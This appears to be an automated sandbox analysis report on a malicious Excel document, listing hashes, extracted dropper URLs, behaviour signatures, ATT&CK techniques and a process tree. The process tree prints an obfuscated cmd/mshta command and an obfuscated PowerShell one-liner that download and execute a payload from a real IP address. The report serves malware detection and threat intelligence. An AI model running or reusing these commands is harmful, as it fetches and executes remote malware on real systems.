e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08

General

Target

e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls
Size

128KB
MD5

22024c28d98a0aa62558650d4be96202
SHA1

2b145417423113d71bf9c988de67ebc2ded75471
SHA256

e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08
SHA512

6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4072	1020	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	3176	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2860	3176	WerFault.exe	55

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1020	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1020	EXCEL.EXE
1020	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE
1020	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1020 wrote to memory of 4072	1020	EXCEL.EXE	53
PID 1020 wrote to memory of 4072	1020	EXCEL.EXE	53
PID 4072 wrote to memory of 3176	4072	cmd.exe	55
PID 4072 wrote to memory of 3176	4072	cmd.exe	55

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1020
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:3176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1824
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3176 -s 1720
      4⤵
      Program crash
      PID:2860

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 3176 -ip 3176
1⤵
PID:4036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1020-130-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/1020-132-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/1020-131-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/1020-133-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/1020-134-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/1020-137-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

Filesize
64KB

Download
memory/1020-138-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads